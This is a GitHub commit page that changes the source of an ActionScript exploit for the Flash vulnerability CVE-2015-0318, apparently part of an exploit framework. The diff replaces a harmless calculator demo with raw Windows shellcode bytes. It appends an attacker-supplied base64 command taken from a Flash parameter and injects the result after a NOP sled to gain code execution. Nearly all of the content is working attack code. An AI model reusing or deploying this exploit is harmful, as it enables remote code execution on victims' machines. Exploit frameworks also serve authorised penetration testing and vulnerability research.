Skip to content

Commit 0ee0a0d

Browse files
committed
This seems to work
1 parent 0c3329f commit 0ee0a0d

File tree

2 files changed

+43
-11
lines changed
  • data/exploits/CVE-2015-0318
  • external/source/exploits/CVE-2015-0318

2 files changed

+43
-11
lines changed

data/exploits/CVE-2015-0318/Main.swf

292 Bytes
Binary file not shown.

external/source/exploits/CVE-2015-0318/Main.as

Lines changed: 43 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -406,22 +406,36 @@ package
406406

407407
return 0;
408408
}
409+
410+
409411

410412
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
411-
413+
var myshellcode:Array = GetPayload();
412414
// at this point we are sandwiched on the stack between the current
413415
// frame and the previous frame; this is hazardous, we need to
414416
// shift our stack back above the current frame or things will go
415417
// wrong(tm).
416-
417418
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
418419
v[i++] = 0x90900000;
419420

421+
v[i++] = 0x90909090;
422+
v[i++] = 0x90909090;
423+
v[i++] = 0x90909090;
424+
//v[i++] = 0xcccccccc;
425+
426+
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
427+
v[i++] = myshellcode[payload_i];
428+
}
429+
430+
v[i++] = 0x90909090;
431+
v[i++] = 0x90909090;
432+
v[i++] = 0x90909090;
420433
//v[i++] = 0xcccccccc;
421434

422435
// we're using skylined's win32 calc shellcode, the function
423436
// version that saves registers, but without the ret at the end...
424-
437+
438+
/*
425439
v[i++] = 0x52d23160;
426440
v[i++] = 0x6c616368;
427441
v[i++] = 0x52e68963;
@@ -442,7 +456,7 @@ package
442456
v[i++] = 0xae3c03fe;
443457
v[i++] = 0x5858d7ff;
444458
v[i++] = 0x90909061;
445-
459+
*/
446460
// we just put things back how they were; at least, everything
447461
// important. we need esp and ebp to be correct, which is easy;
448462
// we need ecx to point to the object's vtable and then we can
@@ -460,17 +474,35 @@ package
460474
v[i++] = 0x9090e0ff; // FFE0 jmp eax
461475
}
462476

463-
public function GetPayload():String {
477+
public function GetPayload():Array {
464478
var b64:Base64Decoder = new Base64Decoder();
465-
var p:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
466-
b64.decode(p);
467-
var payload:String = b64.toByteArray().toString();
468-
return payload;
479+
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
480+
b64.decode(raw_psh_payload);
481+
var psh_payload:String = b64.toByteArray().toString();
482+
var payload:String = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
483+
484+
var arr:Array = new Array();
485+
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
486+
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
487+
var hex:String = "";
488+
for (var i2:int = 0; i2 < dword.length; i2++) {
489+
var byte:String = dword.charCodeAt(i2).toString(16);
490+
if (byte == '0') {
491+
byte = "00";
492+
} else if (byte.length == 1) {
493+
byte = '0' + byte;
494+
}
495+
hex += byte;
496+
}
497+
var real_dword:uint = parseInt(hex, 16);
498+
arr.push(real_dword);
499+
}
500+
501+
return arr;
469502
}
470503

471-
public function Main() {
472-
var payload:String = GetPayload();
473504

505+
public function Main() {
474506
i = 0;
475507

476508
Initialise();

0 commit comments

Comments
 (0)